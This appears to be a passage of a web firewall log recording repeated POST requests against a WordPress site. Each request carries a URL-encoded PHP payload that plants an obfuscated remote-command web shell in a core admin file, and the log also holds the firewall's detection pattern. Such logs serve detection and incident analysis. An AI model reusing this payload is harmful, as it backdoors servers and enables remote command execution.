3D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:25","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5150\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nfd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:27","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5150\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nsq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:29","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST 